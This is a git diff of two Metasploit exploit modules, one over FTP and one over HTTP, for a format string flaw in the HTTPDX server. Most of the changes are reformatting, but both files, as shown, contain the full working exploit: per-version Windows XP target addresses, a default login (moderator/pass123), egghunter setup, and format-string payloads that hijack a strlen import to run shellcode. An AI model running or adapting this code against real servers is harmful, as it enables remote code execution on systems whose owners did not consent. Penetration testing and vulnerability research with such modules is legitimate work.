diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index 272e0faf94..dea2b3adcc 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -1,27 +1,34 @@ -### -## This file is part of the Metasploit Framework and may be subject to -## redistribution and commercial restrictions. Please see the Metasploit -## Framework web site for more information on licensing and terms of use. -## http://metasploit.com/framework/ -### +## +# $Id$ +## + + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' + class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - + include Msf::Exploit::Remote::Ftp include Msf::Exploit::Egghunter include Msf::Exploit::FormatString - + def initialize(info = {}) - super(update_info(info, + super(update_info(info, 'Name' => 'HTTPDX tolog() Function Format String Vulnerability', 'Description' => %q{ - This module exploits a format string vulnerability in HTTPDX FTP server. + This module exploits a format string vulnerability in HTTPDX FTP server. By sending an specially crafted FTP command containing format specifiers, an attacker can corrupt memory and execute arbitrary code. - + By default logging is off for HTTP, but enabled for the 'moderator' user via FTP. }, @@ -48,51 +55,51 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Platform' => 'win', 'Targets' => - [ - # - # Automatic targeting via fingerprinting - # - [ 'Automatic Targeting', { 'auto' => true } ], - - # - # specific targets - # - [ 'httpdx 1.4 - Windows XP SP3 English', - { - 'NumPops' => 37, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + + # + # specific targets + # + [ 'httpdx 1.4 - Windows XP SP3 English', + { + 'NumPops' => 37, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.5 - Windows XP SP3 English', + { + 'NumPops' => 37, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.6 - Windows XP SP3 English', + { + 'NumPops' => 37, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.6b - Windows XP SP3 English', + { + 'NumPops' => 37, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.5 - Windows XP SP3 English', + { + 'NumPops' => 29, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ] ], - [ 'httpdx 1.4.5 - Windows XP SP3 English', - { - 'NumPops' => 37, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.4.6 - Windows XP SP3 English', - { - 'NumPops' => 37, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.4.6b - Windows XP SP3 English', - { - 'NumPops' => 37, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.5 - Windows XP SP3 English', - { - 'NumPops' => 29, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ] - ], 'DefaultTarget' => 0)) =begin @@ -104,7 +111,7 @@ To find a target: 2. navigate to the "c_wildcmp" function 3. follow the xref to the first strlen 4. follow the xref to the imports area -5. copy/paste the address +5. copy/paste the address 6. the 'Writable' value should be anything after the last address IDA shows.. (preferably something above 0x0d, to avoid bad chars) @@ -112,16 +119,16 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting. For now, that will have to be done manually. =end - register_options( - [ - Opt::RPORT(21), - # note the default user/pass - OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']), - OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123']) - ], self.class ) + register_options( + [ + Opt::RPORT(21), + # note the default user/pass + OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']), + OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123']) + ], self.class ) end - - + + def check connect disconnect @@ -131,22 +138,22 @@ For now, that will have to be done manually. end return Exploit::CheckCode::Safe end - - + + def exploit - + # Use a copy of the target mytarget = target - + if (target['auto']) mytarget = nil - + print_status("Automatically detecting the target...") connect disconnect if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then - print_status("FTP Banner: #{banner}") + print_status("FTP Banner: #{banner.strip}") version = m[1] else print_status("No matching target") @@ -159,12 +166,12 @@ For now, that will have to be done manually. break end end - + if (not mytarget) print_status("No matching target") return end - + print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") @@ -172,12 +179,12 @@ For now, that will have to be done manually. # proceed with chosen target... connect_login - + # '\n PWD ' ip_length = Rex::Socket.source_address(datastore['RHOST']).length num_start = ip_length + 1 + 3 + 1 - - + + # use the egghunter! eh_stub, eh_egg = generate_egghunter @@ -187,12 +194,12 @@ For now, that will have to be done manually. if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end - - + + # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget) - + # add payload to the end fmtbuf << eh_egg * 2 fmtbuf << payload.encoded @@ -200,17 +207,17 @@ For now, that will have to be done manually. if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end - - + + disconnect handler - + # connect again to trigger shellcode print_status(" triggering shellcode now") print_status("Please be patient, the egg hunter may take a while...") connect end - + end diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index 54ab91ecab..ee86d19f25 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -1,27 +1,34 @@ -### -## This file is part of the Metasploit Framework and may be subject to -## redistribution and commercial restrictions. Please see the Metasploit -## Framework web site for more information on licensing and terms of use. -## http://metasploit.com/framework/ -### +## +# $Id$ +## + + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' + class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - + include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter include Msf::Exploit::FormatString - + def initialize(info = {}) - super(update_info(info, + super(update_info(info, 'Name' => 'HTTPDX tolog() Function Format String Vulnerability', 'Description' => %q{ - This module exploits a format string vulnerability in HTTPDX HTTP server. + This module exploits a format string vulnerability in HTTPDX HTTP server. By sending an specially crafted HTTP request containing format specifiers, an attacker can corrupt memory and execute arbitrary code. - + By default logging is off for HTTP, but enabled for the 'moderator' user via FTP. }, @@ -48,56 +55,56 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Platform' => 'win', 'Targets' => - [ - # - # Automatic targeting via fingerprinting - # - [ 'Automatic Targeting', { 'auto' => true } ], - - # - # specific targets - # - [ 'httpdx 1.4 - Windows XP SP3 English', - { - 'PadBytes' => 2, - 'NumPops' => 22, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + + # + # specific targets + # + [ 'httpdx 1.4 - Windows XP SP3 English', + { + 'PadBytes' => 2, + 'NumPops' => 22, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.5 - Windows XP SP3 English', + { + 'PadBytes' => 2, + 'NumPops' => 22, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.6 - Windows XP SP3 English', + { + 'PadBytes' => 2, + 'NumPops' => 22, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.4.6b - Windows XP SP3 English', + { + 'PadBytes' => 2, + 'NumPops' => 22, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ], + [ 'httpdx 1.5 - Windows XP SP3 English', + { + 'PadBytes' => 2, + 'NumPops' => 22, + 'Writable' => 0x64f87810, # empty space in core.dll imports + 'FlowHook' => 0x64f870e8 # core.dll import for strlen + } + ] ], - [ 'httpdx 1.4.5 - Windows XP SP3 English', - { - 'PadBytes' => 2, - 'NumPops' => 22, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.4.6 - Windows XP SP3 English', - { - 'PadBytes' => 2, - 'NumPops' => 22, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.4.6b - Windows XP SP3 English', - { - 'PadBytes' => 2, - 'NumPops' => 22, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ], - [ 'httpdx 1.5 - Windows XP SP3 English', - { - 'PadBytes' => 2, - 'NumPops' => 22, - 'Writable' => 0x64f87810, # empty space in core.dll imports - 'FlowHook' => 0x64f870e8 # core.dll import for strlen - } - ] - ], 'DefaultTarget' => 0)) =begin @@ -109,7 +116,7 @@ To find a target: 2. navigate to the "c_wildcmp" function 3. follow the xref to the first strlen 4. follow the xref to the imports area -5. copy/paste the address +5. copy/paste the address 6. the 'Writable' value should be anything after the last address IDA shows.. (preferably something above 0x0d, to avoid bad chars) @@ -117,15 +124,15 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting. For now, that will have to be done manually. =end - register_options( - [ - Opt::RPORT(80), - ], self.class ) + register_options( + [ + Opt::RPORT(80), + ], self.class ) end - - + + def check - + version = get_version if version print_status("HTTPDX version detected : #{version}") @@ -135,18 +142,18 @@ For now, that will have to be done manually. end return Exploit::CheckCode::Safe end - - + + def exploit - + # Use a copy of the target mytarget = target - + if (target['auto']) mytarget = nil - + print_status("Automatically detecting the target...") - + version = get_version() if not version print_status("No matching target") @@ -159,32 +166,32 @@ For now, that will have to be done manually. break end end - + if (not mytarget) print_status("No matching target") return end - + print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end # proceed with chosen target... - + # ' [Tue, 17 Nov 2009 18:22:12 GMT] " /' ip_length = Rex::Socket.source_address(datastore['RHOST']).length num_start = ip_length + 2 + 29 + 3 + 3 + 2 - + # use the egghunter! eh_stub, eh_egg = generate_egghunter - + # write shellcode to 'writable' (all at once) fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget) fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20') print_status(" payload format string buffer is #{fmtbuf.length} bytes") - + connect request = "GET /" request << fmtbuf @@ -193,8 +200,8 @@ For now, that will have to be done manually. request << "\r\n" sock.put(request) disconnect - - + + # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget) @@ -203,7 +210,7 @@ For now, that will have to be done manually. fmtbuf << payload.encoded fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20') print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") - + connect request = "GET /" request << fmtbuf @@ -219,26 +226,26 @@ For now, that will have to be done manually. print_status(" triggering shellcode now") print_status("Please be patient, the egg hunter may take a while...") connect - + handler end - - + + def get_version - + connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect - + # this will need to be updated if httpdx is ever fixed :) if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then return m[1] end - + return nil end - + def generate_ascii_sled(badchars) sled = "" (0..255).each do |ch|